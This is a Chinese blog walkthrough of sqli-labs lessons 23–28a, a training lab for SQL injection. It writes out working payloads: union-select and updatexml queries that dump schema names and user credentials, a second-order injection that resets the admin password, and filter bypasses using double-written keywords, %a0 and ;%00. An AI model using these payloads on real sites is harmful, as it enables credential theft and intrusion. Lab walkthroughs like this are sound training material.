数据库
首页 > 数据库> > sqli-labs Less23-Less28a

sqli-labs Less23-Less28a

作者:互联网

Lesson 23 GET - Error Based - strip comments (基于错误的,过滤注释的GET型)

 

 

(1)先测试

 

    ?id=1

 

 

 

    SELECT * FROM users WHERE id='1' LIMIT 0,1

 

   显示出用户名和密码

 

(2)加上一个单引号进行测试

   ?id=1'

 

   SELECT * FROM users WHERE id='1'' LIMIT 0,1

 

   出现了报错

 

  加上注释符进行注释看会不会出错

  ?id=1'--+

 

  SELECT * FROM users WHERE id='1' ' LIMIT 0,1

 

   还是出现了报错,查看sql语句发现并没有把新加的单引号注释掉

 

(3)这里涉及到代码审计的知识,打开源代码

 

   发现这里将#和--符号都进行了替换,替换成了空。所以我们输入--+进行注释是无效的

 

(4)第一种解决方法

  这里有一个只针对于sqli-lab使用的一个特殊符号 ;%00

 

  ?id=1' ;%00

 

  SELECT * FROM users WHERE id='1' ;' LIMIT 0,1

 

   登录成功

 

  之后使用order by语句判断列数,列数为3

  ?id=1' order by 3;%00

 

 

 

 

  接下来就是老操作,使用union select语句进行联合查询(记得id处加-)

  ?id=-1' union select 1,2,3;%00

 

  用户名和密码处显示出2,3

 

  接下来查库,查表,查字段,查字段的值

  ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;%00

 

 

  ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';%00

 

 

  ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';%00

 

 

  ?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users;%00

 

 

(5)第二种方法(报错注入 updatexml语句)

 

 

  ?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1

 

   报出数据库名字,剩下的操作就是替换查询语句即可

 

 

 

  Lesson 23结束

 

 

Lesson 24 Second Degree injections “Real treat” - Store injections(二次注入)

 

 

(1)先登录一下试试(用户名:admin 密码:admin)

 

 

 

   登录成功

 

(2)创建一个新用户(用户名:admin’# 密码:123456)

 

 

 

 

 

 

(3)登录一下新注册的账号admin’#

 

   登录成功

 

(4)给新注册的账号换密码(用户名:admin’# 密码:12345)

 

 

 

   更改成功

 

(5)尝试登录账号admin(密码是刚刚给admin’#账号改的密码12345,不是之前的admin)

 

 

 

   登录成功

 

(6)解析:

  查看源代码

 

 

  设置新用户,名字为admin’#,这个单引号形成了闭合,后面的#注释掉原有的单引号和后面的信息。所以改这个新用户的密码等于改原有admin用户的密码。所以新改的密码能登录之前的用户,形成二次注入。

 

 

  Lesson 24结束

 

 

 

Lesson 25 Trick with OR & AND(过滤了or和and)

 

 

(1)先测试

   ?id=1

    SELECT * FROM users WHERE id='1' LIMIT 0,1

 

   显示正常

 

  加上单引号(出错)

 

 

  添加注释符(恢复正常)

 

 

(2)使用order by语句

  ?id=1' order by 2--+

 

  SELECT * FROM users WHERE id='1' der by 2-- ' LIMIT 0,1

 

   显示语句有错误,发现本来是order by但是语句中显示的是der by,说明or被过滤掉了。

 

 

   检查源代码发现在这里对or和and不区分大小写进行了替换,替换成空格。(将or换成大写也一样会被替换)

 

(3)我们尝试一下双写,也就是OorRder by,进行绕过

  ?id=1' OorRder by 2--+

 

   这时发现执行成功,sql语句中也显示完整

 

(4)使用union select语句进行联合查询(记得id处加上-)

  ?id=-1' union select 1,2,3--+

 

   回显位置成功

 

(5)使用基础查询语句进行查询(查库)

  ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

 

  SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from infmation_schema.schemata-- ' LIMIT 0,1

 

   这里进行了报错,查看sql语句发现information中的or也被进行了替换,一定要注意,这里也进行双写

 

  ?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+

 

   成功(一定要注意,以下也均双写)

 

(6)查表

  ?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

 

 

(7)查字段

  ?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+

 

 

(8)查字段的值(这里注意password中也含or,记得双写)

  ?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+

 

 

(9)这里也可以使用updatexml()报错查询进行查询

  ?id=-1' || updatexml(1,concat(0x7e,(database())),1) || '1'='1--+

 

   查询出来信息,这里最好不用group_concat(),因为会显示不完整。最好使用limit语句进行遍历。

 

 

  Lesson 25结束

 

 

 

Lesson 25a Trick with OR & AND Blind(过滤了or和and的盲注)

 

 

(1)先测试

   ?id=1

    SELECT * FROM users WHERE id=1 LIMIT 0,1

 

   显示正常(这里1没有单引号进行包括)

 

 

   查看源代码,发现也对or和and不区分大小写进行了替换,替换成空格。(将or换成大写也一样会被替换)

 

(2)因为这里并没有对id进行包括,直接用order by进行测试(记得测试)

 

  ?id=1 oorrder by 3--+

 

 

(3)使用union select语句进行联合查询(记得id处加上-)

 

  ?id=-1 union select 1,2,3--+

 

   回显正常

 

(4)接下来操作和之前一样

    接下来的操作不再演示

 

 

  Lesson 25a结束

 

 

Lesson 26 (failed) Trick with comments and space(过滤了注释和空格的注入)

 

 

(1)先测试

   ?id=1

 

   SELECT * FROM users WHERE id='1' LIMIT 0,1

 

   显示正常

 

  根据sql语句,加上单引号和注释符

  ?id=1'--+

 

  SELECT * FROM users WHERE id='1'' LIMIT 0,1

 

   这里出现了报错,sql语句中并没有显示注释符--

 

  查看一下源代码

 

   发现这里有很多注释符包括or,空格和and皆被替换成空

 

(2)这里可以使用一个特殊的注释符 ;%00 进行绕过

   ?id=1' ;%00

 

   SELECT * FROM users WHERE id='1';' LIMIT 0,1

 

 

(3)这里先使用报错注入方法(updatexml(),or用||进行替换使用) 记得后面要进行闭合

 

  ?id=1'  ||  updatexml(1,concat(0x7e, ( database( ) )),1) ;%00

 

  SELECT * FROM users WHERE id='1'||updatexml(1,concat(0x7e,(database())),1);' LIMIT 0,1

 

  或者

 

 

 

   这里显示出信息

  如果存在空格,可将其内容用括号包裹

 

(4)继续

 

 

 

  显示出信息表信息

 

  剩下的太长了,不再进行展示

 

 

 

  Lesson 26结束

 

 

 

Lesson 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了注释和空格的盲注)

 

 

(1)先测试

 

  ?id=1

 

 

 

  SELECT * FROM users WHERE id=('1') LIMIT 0,1

 

   显示成功,id值被单引号和单括号包裹

 

  加上单引号和一个括号,并注释掉。(再次尝试寻常注释符不管用,还是用;%00)

  ?id=1');%00

 

   返回成功

 

  也可使用这个语句

 

 

 

 

  查看一下源代码

 

   这里有很多注释符包括or,空格和and皆被替换成空

 

  看看与26关有什么不同

  26:

 

 

  26a:

 

   两者不同处在于,26关会返回报错信息,而26a把这句话注释掉了,说明不会显示报错信息,也就说明无法使用报错注入

 

(2)使用order by语句进行测试,注意双写和空格替换

  ?id=1') %a0 oorrder %a0 by %a0 3 ;%00

 

   成功,还是3列

 

(3)使用union select进行联合查询(记得加-)

  ?id=1111') %a0 union %a0 select %a0 1,2,3 ;%00

 

  或者

 

 

 

   回显出位置

 

  接下来继续按照之前那样就可以了

 

 

  Lesson 26a结束

 

 

 

Lesson 27 GET - Error Based - All your UNION & SELECT belong to us(过滤了union和select的注入)

 

 

(1)先测试

  ?id=1

 

  SELECT * FROM users WHERE id='1' LIMIT 0,1

 

   显示正常,id值由单引号包裹

 

  加一个单引号和注释符

  ?id=1' ;%00

 

 

  查看源代码

 

   过滤替换掉更多,这一关算上之前的又替换了union,select,Select,Union,UNION和SELECT。(有大小写)

 

(2)使用order by语句进行测试,注意双写和空格替换

 

 

 

   成功,还是3列

 

(3)使用union select进行联合查询(记得破坏id值,注意混合大小写)

  ?id=1111' %a0 uNion %a0 sElect %a0 1,2,3 ;%00

 

   回显成功

 

  接下来还是常规操作

 

  这里也可以使用报错注入,不再展示

 

 

 

  Lesson 27结束

 

 

 

 

 

 

 

Lesson 27a GET - Blind Based - All your UNION & SELECT belong to us(过滤了union和select的盲注)

 

 

(1)先测试

  ?id=1

 

  SELECT * FROM users WHERE id="1" LIMIT 0,1

 

   显示正常,id值被双引号包裹(若没有sql语句如何判断,输入一个符号若出现错误说明有可能有注入,再加上注释符就无错了,说明就是确实有注入)

 

  加上双引号和注释符

  ?id=1" ;%00

  或:

 

 

 

 

  查看源代码看与27关有何不同

  27:

 

 

  27a:

 

   两者不同处在于,27关会返回报错信息,而27a把这句话注释掉了,说明不会显示报错信息,也就说明无法使用报错注入

 

  这时使用联合查询即可

 

(2)使用union select进行联合查询(记得破坏id值,注意混合大小写)

  ?id=1111" %a0 uNion %a0 sElect %a0 1,2,3 ;%00

 

   回显出位置

 

(3)接下来的操作如常,只展示一个

  ?id=1111" %a0 uNion %a0 sElect %a0 1,2,group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00

 

 

  接下来不再展示

 

 

 

  Lesson 27a结束

 

 

 

 

 

 

 

Lesson 28 GET - Error Based - All your UNION & SELECT belong to us String-Single quote with parenthesis (基于错误的,有括号的单引号字符型,过滤了union和select等的注入)

 

 

(1)先测试

  ?id=1

 

  SELECT * FROM users WHERE id=('1') LIMIT 0,1

 

   显示正常,id值被单引号和括号包裹

 

  加上单引号和单括号,加上注释符

  ?id=1') ;%00

 

 

  查看源代码

 

   其中,注释符被替换,UNION和SELECT被替换

 

  无法使用报错注入

 

 

(2)使用union select语句进行联合查询(注意空格替换,大小写)

  ?id=11111') %a0 union %a0 select %a0 1,2,3;%00

  或者:

 

 

 

 

  回显出位置

 

  接下来操作跟之前一样

 

 

 

  Lesson 28结束

 

 

 

 

 

 

 

Lesson 28a GET - Bind Based - All your UNION & SELECT belong to us String-Single quote with parenthesis (基于盲注的,有括号的单引号字符型,过滤了union和select等的注入)

 

 

(1)先测试

  ?id=1

 

  SELECT * FROM users WHERE id=('1') LIMIT 0,1

 

   显示正常,id值被单引号和括号包裹

 

  加上单引号和单括号,加上注释符

  ?id=1') --+

 

  这次加上寻常的注释符也可以了

 

  查看源代码

 

   这次这些替换语句都被注释掉了,只留下了union和select被替换

 

  也不能进行报错注入

 

 

(2)使用order by语句进行查询

 

   成功,仍为3列

 

(3)使用union select进行联合查询

  ?id=1') union select 1,2,3--+

 

 

  出错了,看一下回显的提示,发现并没有union select,它们被替换了

 

 

  尝试混合大小写

  ?id=1') uNion sElect 1,2,3--+

 

   还是不显示

 

  再加上%a0试试

  ?id=1111') %a0 uNion %a0 sElect 1,2,3--+

 

   回显成功

 

  接下来常规操作,不再展示

 

 

 

  Lesson 28a结束

 

标签:00,Less23,a0,union,labs,sqli,SELECT,id,select
来源: https://www.cnblogs.com/zhaihuijie/p/12530717.html